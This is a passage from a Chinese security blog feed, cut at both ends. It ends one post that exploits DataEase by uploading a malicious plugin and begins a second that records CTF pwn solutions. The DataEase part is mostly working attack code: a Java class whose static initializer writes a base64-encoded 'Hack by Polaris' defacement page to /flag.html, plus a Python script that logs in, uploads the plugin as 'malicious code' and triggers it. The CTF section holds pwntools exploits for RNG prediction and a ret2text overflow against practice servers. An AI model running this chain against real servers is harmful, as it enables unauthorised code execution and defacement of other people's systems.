class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> io.dataease.plugins.datasource.dm.provider;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> io.dataease.plugins.datasource.entity.JdbcConfiguration;</span><br><span class="line"><span class="keyword">import</span> java.io.File;</span><br><span class="line"><span class="keyword">import</span> java.io.FileOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"><span class="keyword">import</span> java.util.Base64;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">DmConfig</span> <span class="keyword">extends</span> <span class="title class_">JdbcConfiguration</span> &#123;</span><br><span class="line">  <span class="keyword">static</span> &#123;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">      (<span class="keyword">new</span> <span class="title class_">File</span>(<span class="string">&quot;/flag.html&quot;</span>)).delete();</span><br><span class="line">      <span class="type">FileOutputStream</span> <span class="variable">out</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">FileOutputStream</span>(<span class="string">&quot;/flag.html&quot;</span>);</span><br><span class="line">      out.write(Base64.getDecoder().decode(<span class="string">&quot;PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgPG1ldGEgY2hhcnNldD0iVVRGLTgiPg0KICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCI+DQogIDx0aXRsZT5IYWNrIGJ5IFBvbGFyaXM8L3RpdGxlPg0KICA8c3R5bGU+DQogICAgYm9keSB7DQogICAgICBtYXJnaW46IDA7DQogICAgICBiYWNrZ3JvdW5kOiBibGFjazsNCiAgICAgIGRpc3BsYXk6IGZsZXg7DQogICAgICBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjsNCiAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7DQogICAgICBoZWlnaHQ6IDEwMHZoOw0KICAgICAgb3ZlcmZsb3c6IGhpZGRlbjsNCiAgICAgIGNvbG9yOiB3aGl0ZTsNCiAgICAgIGZvbnQtZmFtaWx5OiAnQXJpYWwnLCBzYW5zLXNlcmlmOw0KICAgIH0NCg0KICAgIC5oYWNrLXRleHQgew0KICAgICAgZm9udC1zaXplOiA1MHB4Ow0KICAgICAgdGV4dC10cmFuc2Zvcm06IHVwcGVyY2FzZTsNCiAgICAgIHRleHQtc2hhZG93OiAwIDAgNXB4ICMwMGZmMDAsIDAgMCAxMHB4ICMwMGZmMDAsIDAgMCAyMHB4ICMwMGZmMDAsIDAgMCA0MHB4ICMwMGZmMDA7DQogICAgICBhbmltYXRpb246IGdsaXRjaCAycyBpbmZpbml0ZTsNCiAgICB9DQoNCiAgICBAa2V5ZnJhbWVzIGdsaXRjaCB7DQogICAgICAwJSwgMTAwJSB7DQogICAgICAgIHRleHQtc2hhZG93OiAwIDAgNXB4ICMwMGZmMDAsIDAgMCAxMHB4ICMwMGZmMDAsIDAgMCAyMHB4ICMwMGZmMDAsIDAgMCA0MHB4ICMwMGZmMDA7DQogICAgICAgIHRyYW5zZm9ybTogdHJhbnNsYXRlKDAsIDApOw0KICAgICAgfQ0KICAgICAgMjAlIHsNCiAgICAgICAgdGV4dC1zaGFkb3c6IC0ycHggLTJweCA1cHggI2ZmMDAwMCwgMnB4IDJweCAxMHB4ICMwMDAwZmYsIDJweCAycHggMjBweCAjZmYwMDAwOw0KICAgICAgICB0cmFuc2Zvcm06IHRyYW5zbGF0ZSgtM3B4LCAycHgpOw0KICAgICAgfQ0KICAgICAgNDAlIHsNCiAgICAgICAgdGV4dC1zaGFkb3c6IDJweCAycHggNXB4ICNmZjAwMDAsIC0ycHggLTJweCAxMHB4ICMwMDAwZmYsIC0ycHggLTJweCAyMHB4ICNmZjAwMDA7DQogICAgICAgIHRyYW5zZm9ybTogdHJhbnNsYXRlKDNweCwgLTJweCk7DQogICAgICB9DQogICAgfQ0KDQogICAgLnNjYW5saW5lcyB7DQogICAgICBwb3NpdGlvbjogYWJzb2x1dGU7DQogICAgICB0b3A6IDA7DQogICAgICBsZWZ0OiAwOw0KICAgICAgd2lkdGg6IDEwMCU7DQogICAgICBoZWlnaHQ6IDEwMCU7DQogICAgICBiYWNrZ3JvdW5kOiByZXBlYXRpbmctbGluZWFyLWdyYWRpZW50KA0KICAgICAgICB0byBib3R0b20sDQogICAgICAgIHJnYmEoMCwgMCwgMCwgMC4xKSAwLA0KICAgICAgICByZ2JhKDAsIDAsIDAsIDAuMSkgMnB4LA0KICAgICAgICByZ2JhKDAsIDAsIDAsIDAuMikgMnB4LA0KICAgICAgICByZ2JhKDAsIDAsIDAsIDAuMikgNHB4DQogICAgICApOw0KICAgICAgcG9pbnRlci1ldmVudHM6IG5vbmU7DQogICAgICBhbmltYXRpb246IGZsaWNrZXIgMC4xcyBpbmZpbml0ZTsNCiAgICB9DQoNCiAgICBAa2V5ZnJhbWVzIGZsaWNrZXIgew0KICAgICAgMCUsIDEwMCUgew0KICAgICAgICBvcGFjaXR5OiAwLjg7DQogICAgICB9DQogICAgICA1MCUgew0KICAgICAgICBvcGFjaXR5OiAwLjY7DQogICAgICB9DQogICAgfQ0KICA8L3N0eWxlPg0KPC9oZWFkPg0KPGJvZHk+DQogIDxkaXYgY2xhc3M9ImhhY2stdGV4dCI+ZGF0YWVhc2UgSGFjayBieSBQb2xhcmlzPC9kaXY+DQogIDxkaXYgY2xhc3M9InNjYW5saW5lcyI+PC9kaXY+DQo8L2JvZHk+DQo8L2h0bWw+DQo=&quot;</span>));</span><br><span class="line">      out.flush();</span><br><span class="line">      out.close();</span><br><span class="line">    &#125; <span class="keyword">catch</span> (IOException e) &#123;</span><br><span class="line">      <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(e);</span><br><span class="line">    &#125; </span><br><span class="line">  &#125;</span><br><span class="line">  </span><br><span class="line">  <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setDriver</span><span class="params">(String driver)</span> &#123;</span><br><span class="line">    <span class="built_in">this</span>.driver = driver;</span><br><span class="line">  &#125;</span><br><span class="line">  </span><br><span class="line">  <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setExtraParams</span><span class="params">(String extraParams)</span> &#123;</span><br><span class="line">    <span class="built_in">this</span>.extraParams = extraParams;</span><br><span class="line">  &#125;</span><br><span class="line">  </span><br><span class="line">  <span class="keyword">private</span> <span class="type">String</span> <span class="variable">driver</span> <span class="operator">=</span> <span class="string">&quot;dm.jdbc.driver.DmDriver&quot;</span>;</span><br><span class="line">  </span><br><span class="line">  <span class="keyword">private</span> String extraParams;</span><br><span class="line">  </span><br><span class="line">  <span class="keyword">public</span> String <span class="title function_">getDriver</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">this</span>.driver;</span><br><span class="line">  &#125;</span><br><span class="line">  </span><br><span class="line">  <span class="keyword">public</span> String <span class="title function_">getExtraParams</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">this</span>.extraParams;</span><br><span class="line">  &#125;</span><br><span class="line">  </span><br><span class="line">  <span class="keyword">public</span> String <span class="title function_">getJdbc</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="string">&quot;jdbc:dm://HOST:PORT&quot;</span></span><br><span class="line">      .replace(<span class="string">&quot;HOST&quot;</span>, getHost().trim())</span><br><span class="line">      .replace(<span class="string">&quot;PORT&quot;</span>, getPort().toString());</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>即可</p><p>自动化脚本，方便演示</p><p>zip -r poc.zip patch.jar plugin.json</p><p>打包成poc.zip，patch的jar包就不给了，不觉得自己分析是见很有趣的事情吗，跟打游戏一样，所以只有大体思路</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line">url = <span class="built_in">input</span>(<span class="string">&quot;请输入url地址（例如：192.168.0.1）: \n&quot;</span>)</span><br><span class="line"><span class="comment"># url = &quot;192.168.0.102&quot;</span></span><br><span class="line">login_url = <span class="string">&quot;http://&#123;&#125;:81/api/auth/login&quot;</span>.<span class="built_in">format</span>(url)</span><br><span class="line">data = &#123;</span><br><span class="line">    <span class="string">&quot;loginType&quot;</span>:<span class="number">0</span>,</span><br><span class="line">    <span class="string">&quot;password&quot;</span>:<span class="string">&quot;myZuoVBN0QkzG8ZDOfqsROJ/LvtyNUR9cdZD/TPCUdK8YuJOZgrfPqou29VXKlpW3SGIh++S4c6SwVhKg1yreg==&quot;</span>,</span><br><span class="line">    <span class="string">&quot;username&quot;</span>:<span class="string">&quot;Vaa0/f4hbQNlZG7XIIk4uofw5di11LAy4HY8XucvH+qmu4mYouUd1jdBkLDTcfNHCImrlOXbM6Un2FapQfkjlg==&quot;</span></span><br><span class="line">&#125;</span><br><span class="line">login_resp = requests.post(login_url,json=data)</span><br><span class="line"></span><br><span class="line">token = re.findall(<span class="string">&#x27;token&quot;:&quot;(.+?)&quot;&#125;&#125;&#x27;</span>,login_resp.text)[<span class="number">0</span>]</span><br><span class="line"><span class="keyword">if</span> token:</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;登录成功&quot;</span>)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;登录失败&quot;</span>)</span><br><span class="line">header = &#123;</span><br><span class="line">    <span class="string">&quot;Authorization&quot;</span>:token</span><br><span class="line">&#125;</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;token: &#123;&#125;&quot;</span>.<span class="built_in">format</span>(token))</span><br><span class="line">files = &#123;</span><br><span class="line">    <span class="string">&quot;pluginId&quot;</span>: (<span class="literal">None</span>, <span class="string">&quot;13&quot;</span>),</span><br><span class="line">    <span class="string">&quot;file&quot;</span>: (<span class="string">&quot;poc.zip&quot;</span>, <span class="built_in">open</span>(<span class="string">&quot;poc.zip&quot;</span>, <span class="string">&quot;rb&quot;</span>), <span class="string">&quot;application/octet-stream&quot;</span>)</span><br><span class="line">&#125;</span><br><span class="line">attack_resp = requests.post(<span class="string">&quot;http://&#123;&#125;:81/api/plugin/update/13&quot;</span>.<span class="built_in">format</span>(url),files=files,headers=header)</span><br><span class="line"><span class="keyword">if</span> <span class="string">&quot;true&quot;</span> <span class="keyword">in</span> attack_resp.text:</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;注入恶意代码成功&quot;</span>)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;注入恶意代码失败&quot;</span>)</span><br><span class="line">connection = &#123;<span class="string">&quot;configuration&quot;</span>:<span class="string">&quot;&#123;\&quot;initialPoolSize\&quot;:5,\&quot;extraParams\&quot;:\&quot;\&quot;,\&quot;minPoolSize\&quot;:5,\&quot;maxPoolSize\&quot;:50,\&quot;maxIdleTime\&quot;:30,\&quot;acquireIncrement\&quot;:5,\&quot;idleConnectionTestPeriod\&quot;:5,\&quot;connectTimeout\&quot;:5,\&quot;customDriver\&quot;:\&quot;default\&quot;,\&quot;queryTimeout\&quot;:30,\&quot;host\&quot;:\&quot;1\&quot;,\&quot;port\&quot;:\&quot;1\&quot;,\&quot;username\&quot;:\&quot;1\&quot;,\&quot;password\&quot;:\&quot;1\&quot;&#125;&quot;</span>,<span class="string">&quot;apiConfiguration&quot;</span>:[],<span class="string">&quot;type&quot;</span>:<span class="string">&quot;dm&quot;</span>,<span class="string">&quot;name&quot;</span>:<span class="string">&quot;1&quot;</span>&#125;</span><br><span class="line">requests.post(<span class="string">&quot;http://&#123;&#125;:81/datasource/getSchema/&quot;</span>.<span class="built_in">format</span>(url),headers=header,json=connection)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;触发成功&quot;</span>)</span><br><span class="line"></span><br><span class="line">resp = requests.get(<span class="string">&quot;http://&#123;&#125;:81/flag.html&quot;</span>.<span class="built_in">format</span>(url))</span><br><span class="line"><span class="keyword">if</span> <span class="string">&quot;Hack by Polaris&quot;</span> <span class="keyword">in</span> resp.text:</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;攻击成功&quot;</span>)</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>​<img src="https://raw.githubusercontent.com/yezere/images/master/image/image-20241207225349-hopu8lw.png" alt="image">​</p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;github远程数据库获取&lt;br&gt;使用gh查询&lt;/p&gt;
&lt;figure class=&quot;highlight java&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>NSSCTF刷题记录</title>
    <link href="https://www.n1ght.cn/2024/11/16/NSSCTF%E5%88%B7%E9%A2%98%E8%AE%B0%E5%BD%95/"/>
    <id>https://www.n1ght.cn/2024/11/16/NSSCTF%E5%88%B7%E9%A2%98%E8%AE%B0%E5%BD%95/</id>
    <published>2024-11-16T10:00:00.000Z</published>
    <updated>2024-11-16T11:10:58.828Z</updated>
    
    <content type="html"><![CDATA[<h1 id="NSSCTF刷题记录"><a href="#NSSCTF刷题记录" class="headerlink" title="NSSCTF刷题记录"></a>NSSCTF刷题记录</h1><h2 id="11-9"><a href="#11-9" class="headerlink" title="11.9"></a>11.9</h2><h3 id="GDOUCTF-2023-真男人下120层"><a href="#GDOUCTF-2023-真男人下120层" class="headerlink" title="[GDOUCTF 2023]真男人下120层"></a>[GDOUCTF 2023]真男人下120层</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> ctypes <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line"></span><br><span class="line">io = remote(<span class="string">&quot;node4.anna.nssctf.cn&quot;</span>,<span class="number">28832</span>)</span><br><span class="line"></span><br><span class="line">clibc = cdll.LoadLibrary(<span class="string">&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;</span>)</span><br><span class="line"></span><br><span class="line">v4 = clibc.srand(<span class="built_in">int</span>(time.time()))</span><br><span class="line">v5 = clibc.srand(<span class="built_in">int</span>(v4 % <span class="number">3</span> - <span class="number">1522127470</span>))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">time.sleep(<span class="number">1</span>)</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">121</span>):</span><br><span class="line">    choice = clibc.random()  % <span class="number">4</span> + <span class="number">1</span></span><br><span class="line">    <span class="built_in">print</span>(i)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(choice))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><h3 id="MoeCTF-2022-ret2text"><a href="#MoeCTF-2022-ret2text" class="headerlink" title="[MoeCTF 2022]ret2text"></a>[MoeCTF 2022]ret2text</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> v3; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">int</span> v4; <span class="comment">// eax</span></span><br><span class="line">  _BYTE buf[<span class="number">64</span>]; <span class="comment">// [rsp+0h] [rbp-40h] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;I&#x27;ve prepared a gift for you, if you don&#x27;t want to keep learning CET-4 words, find it out!&quot;</span>);</span><br><span class="line">  v3 = time(<span class="number">0LL</span>);</span><br><span class="line">  srand(v3);</span><br><span class="line">  v4 = rand();</span><br><span class="line">  learn[v4 % <span class="number">100</span>]();</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Make a wish: &quot;</span>);</span><br><span class="line">  read(<span class="number">0</span>, buf, <span class="number">0x64</span>uLL);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>注意一下对齐即可</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> struct <span class="keyword">import</span> pack</span><br><span class="line"><span class="keyword">from</span> ctypes <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> LibcSearcher <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">s</span>(<span class="params">a</span>) : p.send(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sa</span>(<span class="params">a, b</span>) : p.sendafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sl</span>(<span class="params">a</span>) : p.sendline(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sla</span>(<span class="params">a, b</span>) : p.sendlineafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">r</span>() : <span class="keyword">return</span> p.recv()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pr</span>() : <span class="built_in">print</span>(p.recv())</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rl</span>(<span class="params">a</span>) : <span class="keyword">return</span> p.recvuntil(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">inter</span>() : p.interactive()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">debug</span>():</span><br><span class="line">    gdb.attach(p)</span><br><span class="line">    pause()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_addr</span>() : <span class="keyword">return</span> u64(p.recvuntil(<span class="string">b&#x27;\x7f&#x27;</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line"><span class="comment"># def get_sb() : return libc_base + libc.sym[&#x27;system&#x27;], libc_base + next(libc.search(b&#x27;/bin/sh\x00&#x27;))</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">csu</span>(<span class="params">rdi, rsi, rdx, rip, gadget</span>) : <span class="keyword">return</span> p64(gadget) + p64(<span class="number">0</span>) + p64(<span class="number">1</span>) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - <span class="number">0x1a</span>)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_32_addr</span>():<span class="keyword">return</span> u32(p.recvuntil(<span class="string">b&#x27;\xf7&#x27;</span>)[-<span class="number">4</span>:].ljust(<span class="number">4</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line">context(os=<span class="string">&#x27;linux&#x27;</span>, arch=<span class="string">&#x27;amd64&#x27;</span>)</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;DEBUG&#x27;</span>]:</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">context.terminal = [<span class="string">&#x27;tmux&#x27;</span>, <span class="string">&#x27;splitw&#x27;</span>,<span class="string">&#x27;-h&#x27;</span>]</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;REMOTE&#x27;</span>]:</span><br><span class="line">ip = <span class="string">&quot;node5.anna.nssctf.cn&quot;</span></span><br><span class="line">port = <span class="number">24806</span></span><br><span class="line">p = remote(ip, port)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">p = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">info(<span class="string">&quot;pid: &#123;&#125;&quot;</span>.<span class="built_in">format</span>(p.pid))</span><br><span class="line"> </span><br><span class="line">elf = ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line"><span class="comment">#libc = ELF(&#x27;./libc-2.23-x64.so&#x27;)</span></span><br><span class="line">bin_sh = <span class="number">0x0000000004023FF</span></span><br><span class="line">system = elf.sym[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line">rop = ROP(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line"><span class="comment"># rdi = rop.find_gadget([&quot;pop rdi&quot;,&quot;ret&quot;])[0]</span></span><br><span class="line">offset = <span class="number">0x40</span> + <span class="number">8</span></span><br><span class="line">payload = flat([cyclic(offset),<span class="number">0x0000000004014BF</span>])</span><br><span class="line">sl(payload)</span><br><span class="line">inter()</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="NUSTCTF-2022-新生赛-ezPwn"><a href="#NUSTCTF-2022-新生赛-ezPwn" class="headerlink" title="[NUSTCTF 2022 新生赛]ezPwn"></a>[NUSTCTF 2022 新生赛]ezPwn</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> v4[<span class="number">10</span>]; <span class="comment">// [rsp+6h] [rbp-Ah] BYREF</span></span><br><span class="line"></span><br><span class="line">  setbuf(_bss_start, <span class="number">0LL</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Your name plz:&quot;</span>);</span><br><span class="line">  gets(v4);</span><br><span class="line">  <span class="keyword">if</span> ( v4[<span class="number">0</span>] % <span class="number">233</span> == <span class="number">233</span> )</span><br><span class="line">    system(<span class="string">&quot;cat flag&quot;</span>);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Can you hack me? %s\n&quot;</span>, v4);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> struct <span class="keyword">import</span> pack</span><br><span class="line"><span class="keyword">from</span> ctypes <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> LibcSearcher <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">s</span>(<span class="params">a</span>) : p.send(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sa</span>(<span class="params">a, b</span>) : p.sendafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sl</span>(<span class="params">a</span>) : p.sendline(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sla</span>(<span class="params">a, b</span>) : p.sendlineafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">r</span>() : <span class="keyword">return</span> p.recv()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pr</span>() : <span class="built_in">print</span>(p.recv())</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rl</span>(<span class="params">a</span>) : <span class="keyword">return</span> p.recvuntil(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">inter</span>() : p.interactive()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">debug</span>():</span><br><span class="line">    gdb.attach(p)</span><br><span class="line">    pause()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_addr</span>() : <span class="keyword">return</span> u64(p.recvuntil(<span class="string">b&#x27;\x7f&#x27;</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line"><span class="comment"># def get_sb() : return libc_base + libc.sym[&#x27;system&#x27;], libc_base + next(libc.search(b&#x27;/bin/sh\x00&#x27;))</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">csu</span>(<span class="params">rdi, rsi, rdx, rip, gadget</span>) : <span class="keyword">return</span> p64(gadget) + p64(<span class="number">0</span>) + p64(<span class="number">1</span>) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - <span class="number">0x1a</span>)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_32_addr</span>():<span class="keyword">return</span> u32(p.recvuntil(<span class="string">b&#x27;\xf7&#x27;</span>)[-<span class="number">4</span>:].ljust(<span class="number">4</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line">context(os=<span class="string">&#x27;linux&#x27;</span>, arch=<span class="string">&#x27;amd64&#x27;</span>)</span><br><span class="line"><span class="keyword">if</span> args[<span 